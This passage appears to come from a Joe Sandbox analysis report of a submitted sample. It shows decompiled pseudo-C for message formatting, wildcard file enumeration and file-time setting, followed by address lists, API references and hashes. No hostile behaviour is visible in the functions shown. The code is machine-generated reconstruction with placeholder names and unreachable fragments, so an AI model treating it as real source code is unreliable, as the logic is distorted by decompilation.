										goto L38;
									case 8:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x471);
										goto L13;
									case 9:
										goto L61;
									case 0xa:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x71);
										goto L13;
									case 0xb:
										E0024DD11(__ecx, 0xc8) =  &_v516;
										__eax = E00243FD6( &_v516, 0x100,  &_v516,  *((intOrPtr*)(__esi + 4)));
										_push( *((intOrPtr*)(__esi + 8)));
										__eax =  &_v516;
										_push( &_v516);
										return E0025ADC4( *__esi, L"%s: %s");
								}
							}
						}
					} else {
						if(_t48 == 0) {
							_push( *__ecx);
							_push(0xdd);
							L23:
							E0024DD11(_t41);
							L7:
							_push(0);
							L8:
							return E0025ADC4();
						}
						if(_t26 <= 0x15) {
							switch( *((intOrPtr*)(_t26 * 4 +  &M00251003))) {
								case 0:
									_push( *__esi);
									_push(L"%ls");
									_push(">");
									goto L8;
								case 1:
									_push( *__ecx);
									_push(L"%ls");
									goto L7;
								case 2:
									_push(0);
									__eax = E0025A578();
									goto L11;
								case 3:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7b);
									goto L13;
								case 4:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7a);
									goto L13;
								case 5:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7c);
									goto L13;
								case 6:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0xca);
									goto L13;
								case 7:
									_push(0x70);
									L18:
									_push(E0024DD11(_t41));
									_push(0);
									goto L19;
								case 8:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x72);
									goto L13;
								case 9:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x78);
									goto L13;
								case 0xa:
									_push( *__esi);
									_push(0x85);
									goto L23;
								case 0xb:
									_push( *__esi);
									_push(0x204);
									goto L23;
								case 0xc:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x84);
									goto L13;
								case 0xd:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x83);
									goto L13;
								case 0xe:
									goto L61;
								case 0xf:
									_push( *((intOrPtr*)(__esi + 8)));
									_push( *((intOrPtr*)(__esi + 4)));
									__eax = E0024DD11(__ecx, 0xd2);
									return __eax;
								case 0x10:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x79);
									goto L13;
								case 0x11:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0xdc);
									L13:
									_push(E0024DD11(_t41));
									_push( *_t44);
									goto L8;
							}
						}
					}
				}
				L61:
				return _t26;
			}

0x00250d97
0x00250da1
0x00250da3
0x00250da6
0x00250da9
0x00250fd0
0x00250fd3
0x00250fd5
0x00250fe1
0x00000000
0x00250ff8
0x00250daf
0x00250daf
0x00250fc6
0x00250ef3
0x00250ef8
0x00250ef9
0x00250e36
0x00250e36
0x00250dff
0x00000000
0x00250dff
0x00250db5
0x00250db8
0x00250eb8
0x00250ebb
0x00250f7b
0x00250f7b
0x00250f7e
0x00250fbc
0x00000000
0x00250fbc
0x00250f80
0x00250f80
0x00250f83
0x00250fb5
0x00000000
0x00250fb5
0x00250f85
0x00250f85
0x00250f88
0x00250fa8
0x00250fab
0x00000000
0x00250fab
0x00250f8a
0x00250f8a
0x00250f8d
0x00250f9e
0x00000000
0x00250f9e
0x00250f8f
0x00250f8f
0x00250f92
0x00250f94
0x00000000
0x00250f94
0x00250ec1
0x00250ec1
0x00250f74
0x00000000
0x00250f74
0x00250ec7
0x00250eca
0x00250ecd
0x00250ed3
0x00000000
0x00250eda
0x00000000
0x00000000
0x00250ee4
0x00000000
0x00000000
0x00250eee
0x00000000
0x00000000
0x00250f00
0x00000000
0x00000000
0x00250f04
0x00000000
0x00000000
0x00250f08
0x00250f0b
0x00000000
0x00000000
0x00250f12
0x00000000
0x00000000
0x00250f19
0x00000000
0x00000000
0x00250f20
0x00250f23
0x00000000
0x00000000
0x00000000
0x00000000
0x00250f2d
0x00250f30
0x00000000
0x00000000
0x00250f45
0x00250f51
0x00250f56
0x00250f59
0x00250f5f
0x00000000
0x00000000
0x00250ed3
0x00250ecd
0x00250dbe
0x00250dbe
0x00250eaf
0x00250eb1
0x00250e53
0x00250e53
0x00250ddb
0x00250ddb
0x00250ddd
0x00000000
0x00250de2
0x00250dc7
0x00250dcd
0x00000000
0x00250dea
0x00250dec
0x00250df1
0x00000000
0x00000000
0x00250dd4
0x00250dd6
0x00000000
0x00000000
0x00250df8
0x00250dfa
0x00000000
0x00000000
0x00250e05
0x00250e08
0x00000000
0x00000000
0x00250e14
0x00250e17
0x00000000
0x00000000
0x00250e1b
0x00250e1e
0x00000000
0x00000000
0x00250e22
0x00250e25
0x00000000
0x00000000
0x00250e2c
0x00250e2e
0x00250e33
0x00250e34
0x00000000
0x00000000
0x00250e3e
0x00250e41
0x00000000
0x00000000
0x00250e45
0x00250e48
0x00000000
0x00000000
0x00250e4c
0x00250e4e
0x00000000
0x00000000
0x00250e5b
0x00250e5d
0x00000000
0x00000000
0x00250e64
0x00250e67
0x00000000
0x00000000
0x00250e6e
0x00250e71
0x00000000
0x00000000
0x00000000
0x00000000
0x00250e78
0x00250e7b
0x00250e83
0x00000000
0x00000000
0x00250e98
0x00250e9b
0x00000000
0x00000000
0x00250ea2
0x00250ea5
0x00250e0a
0x00250e0f
0x00250e10
0x00000000
0x00000000
0x00250dcd
0x00250dc7
0x00250db8
0x00251001
0x00251001

APIs

_swprintf.LIBCMT ref: 00250F51

Strings

%s: %s, xrefs: 00250F60
%ls, xrefs: 00250DD6, 00250DEC

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 8c5ffd2fa32d2ac0fccdd2e168d90bce4789d5960019f3a1bf5b6c1e84ccdefc
Instruction ID: 00ed85cc89ceb85c8ecd75e60bdedb8d27ef161c9371ae45e2a5693c5413743e
Opcode Fuzzy Hash: 8c5ffd2fa32d2ac0fccdd2e168d90bce4789d5960019f3a1bf5b6c1e84ccdefc
Instruction Fuzzy Hash: C451E8319B8705F6EA311A908CD7F367655AB08B03F304906BF86648D1CDF159786B5F

Uniqueness

Uniqueness Score: -1.00%

Function 0026A798 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0026A798(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v6;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v36;
				intOrPtr* _v64;
				intOrPtr _v96;
				intOrPtr* _v100;
				CHAR* _v104;
				signed int _v116;
				char _v290;
				signed int _v291;
				struct _WIN32_FIND_DATAA _v336;
				union _FINDEX_INFO_LEVELS _v340;
				signed int _v344;
				signed int _v348;
				intOrPtr _v440;
				intOrPtr* _t80;
				signed int _t82;
				signed int _t87;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t100;
				signed int _t103;
				signed int _t108;
				signed int _t111;
				intOrPtr _t113;
				signed char _t115;
				union _FINDEX_INFO_LEVELS _t123;
				signed int _t128;
				signed int _t131;
				void* _t137;
				void* _t139;
				signed int _t140;
				signed int _t143;
				signed int _t145;
				signed int _t147;
				signed int* _t148;
				signed int _t151;
				void* _t154;
				CHAR* _t155;
				char _t158;
				char _t160;
				intOrPtr* _t163;
				void* _t164;
				intOrPtr* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				intOrPtr* _t184;
				void* _t193;
				intOrPtr _t194;
				signed int _t196;
				signed int _t197;
				signed int _t199;
				signed int _t200;
				signed int _t202;
				union _FINDEX_INFO_LEVELS _t203;
				signed int _t208;
				signed int _t210;
				signed int _t211;
				void* _t213;
				intOrPtr _t214;
				void* _t215;
				signed int _t219;
				void* _t221;
				signed int _t222;
				void* _t223;
				void* _t224;
				void* _t225;
				signed int _t226;
				void* _t227;
				void* _t228;

				_t80 = _a8;
				_t224 = _t223 - 0x20;
				if(_t80 != 0) {
					_t208 = _a4;
					_t160 = 0;
					 *_t80 = 0;
					_t199 = 0;
					_t151 = 0;
					_v36 = 0;
					_v336.cAlternateFileName = 0;
					_v28 = 0;
					__eflags =  *_t208;
					if( *_t208 == 0) {
						L9:
						_v12 = _v12 & 0x00000000;
						_t82 = _t151 - _t199;
						_v8 = _t160;
						_t191 = (_t82 >> 2) + 1;
						__eflags = _t151 - _t199;
						_v16 = (_t82 >> 2) + 1;
						asm("sbb esi, esi");
						_t210 =  !_t208 & _t82 + 0x00000003 >> 0x00000002;
						__eflags = _t210;
						if(_t210 != 0) {
							_t197 = _t199;
							_t158 = _t160;
							do {
								_t184 =  *_t197;
								_t17 = _t184 + 1; // 0x1
								_v8 = _t17;
								do {
									_t143 =  *_t184;
									_t184 = _t184 + 1;
									__eflags = _t143;
								} while (_t143 != 0);
								_t158 = _t158 + 1 + _t184 - _v8;
								_t197 = _t197 + 4;
								_t145 = _v12 + 1;
								_v12 = _t145;
								__eflags = _t145 - _t210;
							} while (_t145 != _t210);
							_t191 = _v16;
							_v8 = _t158;
							_t151 = _v336.cAlternateFileName;
						}
						_t211 = E0026777C(_t191, _v8, 1);
						_t225 = _t224 + 0xc;
						__eflags = _t211;
						if(_t211 != 0) {
							_t87 = _t211 + _v16 * 4;
							_v20 = _t87;
							_t192 = _t87;
							_v16 = _t87;
							__eflags = _t199 - _t151;
							if(_t199 == _t151) {
								L23:
								_t200 = 0;
								__eflags = 0;
								 *_a8 = _t211;
								goto L24;
							} else {
								_t93 = _t211 - _t199;
								__eflags = _t93;
								_v24 = _t93;
								do {
									_t163 =  *_t199;
									_v12 = _t163 + 1;
									do {
										_t95 =  *_t163;
										_t163 = _t163 + 1;
										__eflags = _t95;
									} while (_t95 != 0);
									_t164 = _t163 - _v12;
									_t35 = _t164 + 1; // 0x1
									_t96 = _t35;
									_push(_t96);
									_v12 = _t96;
									_t100 = E0026E6E1(_t164, _t192, _v20 - _t192 + _v8,  *_t199);
									_t225 = _t225 + 0x10;
									__eflags = _t100;
									if(_t100 != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E002686C9();
										asm("int3");
										_t221 = _t225;
										_push(_t164);
										_t165 = _v64;
										_t47 = _t165 + 1; // 0x1
										_t193 = _t47;
										do {
											_t103 =  *_t165;
											_t165 = _t165 + 1;
											__eflags = _t103;
										} while (_t103 != 0);
										_push(_t199);
										_t202 = _a8;
										_t167 = _t165 - _t193 + 1;
										_v12 = _t167;
										__eflags = _t167 - (_t103 | 0xffffffff) - _t202;
										if(_t167 <= (_t103 | 0xffffffff) - _t202) {
											_push(_t151);
											_t50 = _t202 + 1; // 0x1
											_t154 = _t50 + _t167;
											_t213 = E00268429(_t167, _t154, 1);
											_t169 = _t211;
											__eflags = _t202;
											if(_t202 == 0) {
												L34:
												_push(_v12);
												_t154 = _t154 - _t202;
												_t108 = E0026E6E1(_t169, _t213 + _t202, _t154, _v0);
												_t226 = _t225 + 0x10;
												__eflags = _t108;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t137 = E0026AB67(_a12, _t193, __eflags, _t213);
													E0026835E(0);
													_t139 = _t137;
													goto L36;
												}
											} else {
												_push(_t202);
												_t140 = E0026E6E1(_t169, _t213, _t154, _a4);
												_t226 = _t225 + 0x10;
												__eflags = _t140;
												if(_t140 != 0) {
													L37:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E002686C9();
													asm("int3");
													_push(_t221);
													_t222 = _t226;
													_t227 = _t226 - 0x150;
													_t111 =  *0x27d668; // 0xdef7aace
													_v116 = _t111 ^ _t222;
													_t170 = _v100;
													_push(_t154);
													_t155 = _v104;
													_push(_t213);
													_t214 = _v96;
													_push(_t202);
													_v440 = _t214;
													while(1) {
														__eflags = _t170 - _t155;
														if(_t170 == _t155) {
															break;
														}
														_t113 =  *_t170;
														__eflags = _t113 - 0x2f;
														if(_t113 != 0x2f) {
															__eflags = _t113 - 0x5c;
															if(_t113 != 0x5c) {
																__eflags = _t113 - 0x3a;
																if(_t113 != 0x3a) {
																	_t170 = E0026E730(_t155, _t170);
																	continue;
																}
															}
														}
														break;
													}
													_t194 =  *_t170;
													__eflags = _t194 - 0x3a;
													if(_t194 != 0x3a) {
														L47:
														_t203 = 0;
														__eflags = _t194 - 0x2f;
														if(_t194 == 0x2f) {
															L51:
															_t115 = 1;
															__eflags = 1;
														} else {
															__eflags = _t194 - 0x5c;
															if(_t194 == 0x5c) {
																goto L51;
															} else {
																__eflags = _t194 - 0x3a;
																if(_t194 == 0x3a) {
																	goto L51;
																} else {
																	_t115 = 0;
																}
															}
														}
														asm("sbb eax, eax");
														_v344 =  ~(_t115 & 0x000000ff) & _t170 - _t155 + 0x00000001;
														E0025F1A0(_t203,  &_v336, _t203, 0x140);
														_t228 = _t227 + 0xc;
														_t215 = FindFirstFileExA(_t155, _t203,  &_v336, _t203, _t203, _t203);
														_t123 = _v340;
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															_t174 =  *((intOrPtr*)(_t123 + 4)) -  *_t123;
															__eflags = _t174;
															_v348 = _t174 >> 2;
															do {
																__eflags = _v336.cFileName - 0x2e;
																if(_v336.cFileName != 0x2e) {
																	L64:
																	_push(_t123);
																	_push(_v344);
																	_t123 =  &(_v336.cFileName);
																	_push(_t155);
																	_push(_t123);
																	L28();
																	_t228 = _t228 + 0x10;
																	__eflags = _t123;
																	if(_t123 != 0) {
																		goto L54;
																	} else {
																		goto L65;
																	}
																} else {
																	_t178 = _v291;
																	__eflags = _t178;
																	if(_t178 == 0) {
																		goto L65;
																	} else {
																		__eflags = _t178 - 0x2e;
																		if(_t178 != 0x2e) {
																			goto L64;
																		} else {
																			__eflags = _v290;
																			if(_v290 == 0) {
																				goto L65;
																			} else {
																				goto L64;
																			}
																		}
																	}
																}
																goto L58;
																L65:
																_t128 = FindNextFileA(_t215,  &_v336);
																__eflags = _t128;
																_t123 = _v340;
															} while (_t128 != 0);
															_t195 =  *_t123;
															_t179 = _v348;
															_t131 =  *((intOrPtr*)(_t123 + 4)) -  *_t123 >> 2;
															__eflags = _t179 - _t131;
															if(_t179 != _t131) {
																E002658F0(_t155, _t203, _t215, _t195 + _t179 * 4, _t131 - _t179, 4, E0026A780);
															}
														} else {
															_push(_t123);
															_push(_t203);
															_push(_t203);
															_push(_t155);
															L28();
															L54:
															_t203 = _t123;
														}
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															FindClose(_t215);
														}
													} else {
														__eflags = _t170 -  &(_t155[1]);
														if(_t170 ==  &(_t155[1])) {
															goto L47;
														} else {
															_push(_t214);
															_push(0);
															_push(0);
															_push(_t155);
															L28();
														}
													}
													L58:
													__eflags = _v16 ^ _t222;
													return E0025EA8A(_v16 ^ _t222);
												} else {
													goto L34;
												}
											}
										} else {
											_t139 = 0xc;
											L36:
											return _t139;
										}
									} else {
										goto L22;
									}
									goto L68;
									L22:
									_t196 = _v16;
									 *((intOrPtr*)(_v24 + _t199)) = _t196;
									_t199 = _t199 + 4;
									_t192 = _t196 + _v12;
									_v16 = _t196 + _v12;
									__eflags = _t199 - _t151;
								} while (_t199 != _t151);
								goto L23;
							}
						} else {
							_t200 = _t199 | 0xffffffff;
							L24:
							E0026835E(0);
							goto L25;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t160;
							_t147 = E0026E6F0( *_t208,  &_v8);
							__eflags = _t147;
							if(_t147 != 0) {
								_push( &_v36);
								_push(_t147);
								_push( *_t208);
								L38();
								_t224 = _t224 + 0xc;
							} else {
								_t147 =  &_v36;
								_push(_t147);
								_push(0);
								_push(0);
								_push( *_t208);
								L28();
								_t224 = _t224 + 0x10;
							}
							_t200 = _t147;
							__eflags = _t200;
							if(_t200 != 0) {
								break;
							}
							_t208 = _t208 + 4;
							_t160 = 0;
							__eflags =  *_t208;
							if( *_t208 != 0) {
								continue;
							} else {
								_t151 = _v336.cAlternateFileName;
								_t199 = _v36;
								goto L9;
							}
							goto L68;
						}
						L25:
						E0026AB42( &_v36);
						_t91 = _t200;
						goto L26;
					}
				} else {
					_t148 = E002687DA();
					_t219 = 0x16;
					 *_t148 = _t219;
					E002686B9();
					_t91 = _t219;
					L26:
					return _t91;
				}
				L68:
			}

0x0026a79d
0x0026a7a0
0x0026a7a6
0x0026a7be
0x0026a7c1
0x0026a7c5
0x0026a7c7
0x0026a7c9
0x0026a7cb
0x0026a7ce
0x0026a7d1
0x0026a7d4
0x0026a7d6
0x0026a82e
0x0026a82e
0x0026a834
0x0026a836
0x0026a841
0x0026a845
0x0026a847
0x0026a84a
0x0026a84e
0x0026a84e
0x0026a850
0x0026a852
0x0026a854
0x0026a856
0x0026a856
0x0026a858
0x0026a85b
0x0026a85e
0x0026a85e
0x0026a860
0x0026a861
0x0026a861
0x0026a86c
0x0026a86e
0x0026a871
0x0026a872
0x0026a875
0x0026a875
0x0026a879
0x0026a87c
0x0026a87f
0x0026a87f
0x0026a88d
0x0026a88f
0x0026a892
0x0026a894
0x0026a89e
0x0026a8a1
0x0026a8a4
0x0026a8a6
0x0026a8a9
0x0026a8ab
0x0026a8fb
0x0026a8fe
0x0026a8fe
0x0026a900
0x00000000
0x0026a8ad
0x0026a8af
0x0026a8af
0x0026a8b1
0x0026a8b4
0x0026a8b4
0x0026a8b9
0x0026a8bc
0x0026a8bc
0x0026a8be
0x0026a8bf
0x0026a8bf
0x0026a8c3
0x0026a8c6
0x0026a8c6
0x0026a8c9
0x0026a8cc
0x0026a8d9
0x0026a8de
0x0026a8e1
0x0026a8e3
0x0026a91d
0x0026a91e
0x0026a91f
0x0026a920
0x0026a921
0x0026a922
0x0026a927
0x0026a92b
0x0026a92d
0x0026a92e
0x0026a931
0x0026a931
0x0026a934
0x0026a934
0x0026a936
0x0026a937
0x0026a937
0x0026a940
0x0026a941
0x0026a944
0x0026a947
0x0026a94a
0x0026a94c
0x0026a953
0x0026a955
0x0026a958
0x0026a962
0x0026a965
0x0026a966
0x0026a968
0x0026a97c
0x0026a97c
0x0026a97f
0x0026a989
0x0026a98e
0x0026a991
0x0026a993
0x00000000
0x0026a995
0x0026a999
0x0026a9a2
0x0026a9a8
0x00000000
0x0026a9ab
0x0026a96a
0x0026a96a
0x0026a970
0x0026a975
0x0026a978
0x0026a97a
0x0026a9b1
0x0026a9b3
0x0026a9b4
0x0026a9b5
0x0026a9b6
0x0026a9b7
0x0026a9b8
0x0026a9bd
0x0026a9c0
0x0026a9c1
0x0026a9c3
0x0026a9c9
0x0026a9d0
0x0026a9d3
0x0026a9d6
0x0026a9d7
0x0026a9da
0x0026a9db
0x0026a9de
0x0026a9df
0x0026aa00
0x0026aa00
0x0026aa02
0x00000000
0x00000000
0x0026a9e7
0x0026a9e9
0x0026a9eb
0x0026a9ed
0x0026a9ef
0x0026a9f1
0x0026a9f3
0x0026a9fe
0x00000000
0x0026a9fe
0x0026a9f3
0x0026a9ef
0x00000000
0x0026a9eb
0x0026aa04
0x0026aa06
0x0026aa09
0x0026aa22
0x0026aa22
0x0026aa24
0x0026aa27
0x0026aa37
0x0026aa39
0x0026aa39
0x0026aa29
0x0026aa29
0x0026aa2c
0x00000000
0x0026aa2e
0x0026aa2e
0x0026aa31
0x00000000
0x0026aa33
0x0026aa33
0x0026aa33
0x0026aa31
0x0026aa2c
0x0026aa47
0x0026aa4b
0x0026aa59
0x0026aa5e
0x0026aa73
0x0026aa75
0x0026aa7b
0x0026aa7e
0x0026aab0
0x0026aab0
0x0026aab5
0x0026aabb
0x0026aabb
0x0026aac2
0x0026aadc
0x0026aadc
0x0026aadd
0x0026aae3
0x0026aae9
0x0026aaea
0x0026aaeb
0x0026aaf0
0x0026aaf3
0x0026aaf5
0x00000000
0x00000000
0x00000000
0x00000000
0x0026aac4
0x0026aac4
0x0026aaca
0x0026aacc
0x00000000
0x0026aace
0x0026aace
0x0026aad1
0x00000000
0x0026aad3
0x0026aad3
0x0026aada
0x00000000
0x00000000
0x00000000
0x00000000
0x0026aada
0x0026aad1
0x0026aacc
0x00000000
0x0026aaf7
0x0026aaff
0x0026ab05
0x0026ab07
0x0026ab07
0x0026ab0f
0x0026ab14
0x0026ab1c
0x0026ab1f
0x0026ab21
0x0026ab35
0x0026ab3a
0x0026aa80
0x0026aa80
0x0026aa81
0x0026aa82
0x0026aa83
0x0026aa84
0x0026aa8c
0x0026aa8c
0x0026aa8c
0x0026aa8e
0x0026aa91
0x0026aa94
0x0026aa94
0x0026aa0b
0x0026aa0e
0x0026aa10
0x00000000
0x0026aa12
0x0026aa12
0x0026aa15
0x0026aa16
0x0026aa17
0x0026aa18
0x0026aa1d
0x0026aa10
0x0026aa9c
0x0026aaa1
0x0026aaac
0x00000000
0x00000000
0x00000000
0x0026a97a
0x0026a94e
0x0026a950
0x0026a9ac
0x0026a9b0
0x0026a9b0
0x00000000
0x00000000
0x00000000
0x00000000
0x0026a8e5
0x0026a8e8
0x0026a8eb
0x0026a8ee
0x0026a8f1
0x0026a8f4
0x0026a8f7
0x0026a8f7
0x00000000
0x0026a8b4
0x0026a896
0x0026a896
0x0026a902
0x0026a904
0x00000000
0x0026a909
0x0026a7d8
0x0026a7d8
0x0026a7db
0x0026a7e4
0x0026a7e7
0x0026a7ee
0x0026a7f0
0x0026a809
0x0026a80a
0x0026a80b
0x0026a80d
0x0026a812
0x0026a7f2
0x0026a7f2
0x0026a7f5
0x0026a7f6
0x0026a7f8
0x0026a7fa
0x0026a7fc
0x0026a801
0x0026a801
0x0026a815
0x0026a817
0x0026a819
0x00000000
0x00000000
0x0026a81f
0x0026a822
0x0026a824
0x0026a826
0x00000000
0x0026a828
0x0026a828
0x0026a82b
0x00000000
0x0026a82b
0x00000000
0x0026a826
0x0026a90a
0x0026a90d
0x0026a912
0x00000000
0x0026a915
0x0026a7a8
0x0026a7a8
0x0026a7af
0x0026a7b0
0x0026a7b2
0x0026a7b7
0x0026a916
0x0026a91a
0x0026a91a
0x00000000

APIs

_free.LIBCMT ref: 0026A904

Part of subcall function 002686C9: IsProcessorFeaturePresent.KERNEL32(00000017,002686B8,0000002C,0027AC20,0026B8E6,00000000,00000000,00268EA8,?,?,002686C5,00000000,00000000,00000000,00000000,00000000), ref: 002686CB
Part of subcall function 002686C9: GetCurrentProcess.KERNEL32(C0000417,0027AC20,0000002C,002683F6,00000016,00268EA8), ref: 002686ED
Part of subcall function 002686C9: TerminateProcess.KERNEL32(00000000), ref: 002686F4

Strings

*?, xrefs: 0026A7DB
., xrefs: 0026AABB

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 7862bbd4a364659598cbf5db2284bf22e5480a30c37370ad1f5e95b10fff7af4
Instruction ID: 3ae9259f5efd58c24ea8e36a4a10df7a52d8abf48b3b48140a635961dc79f09c
Opcode Fuzzy Hash: 7862bbd4a364659598cbf5db2284bf22e5480a30c37370ad1f5e95b10fff7af4
Instruction Fuzzy Hash: A951DF75E1020AAFDF14CFA8C881AADBBB5FF58310F258169E844F7341E6319E928F51

Uniqueness

Uniqueness Score: -1.00%

Function 00247704 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138
timeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00247704(void* __ecx, void* __edx) {
				void* __esi;
				char _t54;
				signed int _t57;
				void* _t61;
				signed int _t62;
				signed int _t68;
				signed int _t85;
				void* _t90;
				void* _t99;
				void* _t101;
				intOrPtr* _t106;
				void* _t108;

				_t99 = __edx;
				E0025E0E4(E00271C30, _t108);
				E0025E1C0();
				_t106 =  *((intOrPtr*)(_t108 + 0xc));
				if( *_t106 == 0) {
					L3:
					_t101 = 0x802;
					E0024FD96(_t108 - 0x1014, _t106, 0x802);
					L4:
					_t81 =  *((intOrPtr*)(_t108 + 8));
					E00247907(_t106,  *((intOrPtr*)(_t108 + 8)), _t108 - 0x4080, 0x800);
					_t113 =  *((short*)(_t108 - 0x4080)) - 0x3a;
					if( *((short*)(_t108 - 0x4080)) == 0x3a) {
						__eflags =  *((char*)(_t108 + 0x10));
						if(__eflags == 0) {
							E0024FD6E(__eflags, _t108 - 0x1014, _t108 - 0x4080, _t101);
							E00247098(_t108 - 0x3080);
							_push(0);
							_t54 = E0024A406(_t108 - 0x3080, _t99, __eflags, _t106, _t108 - 0x3080);
							_t85 =  *(_t108 - 0x2078);
							 *((char*)(_t108 - 0xd)) = _t54;
							__eflags = _t85 & 0x00000001;
							if((_t85 & 0x00000001) != 0) {
								__eflags = _t85 & 0xfffffffe;
								E0024A384(_t106, _t85 & 0xfffffffe);
							}
							E002495B6(_t108 - 0x2038);
							 *((intOrPtr*)(_t108 - 4)) = 1;
							_t57 = E00249E0F(_t108 - 0x2038, __eflags, _t108 - 0x1014, 0x11);
							__eflags = _t57;
							if(_t57 != 0) {
								_push(0);
								_push(_t108 - 0x2038);
								_push(0);
								_t68 = E00243B26(_t81, _t99);
								__eflags = _t68;
								if(_t68 != 0) {
									E00249670(_t108 - 0x2038);
								}
							}
							E002495B6(_t108 - 0x50a4);
							__eflags =  *((char*)(_t108 - 0xd));
							 *((char*)(_t108 - 4)) = 2;
							if( *((char*)(_t108 - 0xd)) != 0) {
								_t62 = E00249950(_t108 - 0x50a4, _t106, _t106, 5);
								__eflags = _t62;
								if(_t62 != 0) {
									SetFileTime( *(_t108 - 0x50a0), _t108 - 0x2058, _t108 - 0x2050, _t108 - 0x2048);
								}
							}
							E0024A384(_t106,  *(_t108 - 0x2078));
							E002495E8(_t108 - 0x50a4, _t106);
							_t90 = _t108 - 0x2038;
						} else {
							E002495B6(_t108 - 0x60c8);
							_push(1);
							_push(_t108 - 0x60c8);
							_push(0);
							 *((intOrPtr*)(_t108 - 4)) = 0;
							E00243B26(_t81, _t99);
							_t90 = _t108 - 0x60c8;
						}
						_t61 = E002495E8(_t90, _t106);
					} else {
						E00247032(_t113, 0x53, _t81 + 0x1e, _t106);
						_t61 = E00246F5B(0x27ff50, 3);
					}
					 *[fs:0x0] =  *((intOrPtr*)(_t108 - 0xc));
					return _t61;
				}
				_t112 =  *((intOrPtr*)(_t106 + 2));
				if( *((intOrPtr*)(_t106 + 2)) != 0) {
					goto L3;
				} else {
					_t101 = 0x802;
					E0024FD96(_t108 - 0x1014, 0x272760, 0x802);
					E0024FD6E(_t112, _t108 - 0x1014, _t106, 0x802);
					goto L4;
				}
			}

0x00247704
0x00247709
0x00247713
0x0024771a
0x00247723
0x00247752
0x00247752
0x00247760
0x00247765
0x00247765
0x00247775
0x0024777a
0x00247782
0x002477a1
0x002477a5
0x002477e2
0x002477ed
0x002477fa
0x002477fd
0x00247802
0x00247808
0x0024780b
0x0024780e
0x00247810
0x00247815
0x00247815
0x00247820
0x0024782d
0x0024783b
0x00247840
0x00247842
0x00247844
0x0024784d
0x0024784e
0x0024784f
0x00247854
0x00247856
0x0024785e
0x0024785e
0x00247856
0x00247869
0x0024786e
0x00247872
0x00247876
0x00247881
0x00247886
0x00247888
0x002478a5
0x002478a5
0x00247888
0x002478b2
0x002478bd
0x002478c2
0x002477a7
0x002477ad
0x002477b2
0x002477bc
0x002477bd
0x002477c0
0x002477c3
0x002477c8
0x002477c8
0x002478c8
0x00247784
0x0024778b
0x00247797
0x00247797
0x002478d3
0x002478dd
0x002478dd
0x00247725
0x00247729
0x00000000
0x0024772b
0x0024772b
0x0024773d
0x0024774b
0x00000000
0x0024774b

APIs

__EH_prolog.LIBCMT ref: 00247709
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 002478A5

Part of subcall function 0024A384: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0024A1BA,?,?,?,0024A053,?,00000001,00000000,?,?), ref: 0024A398
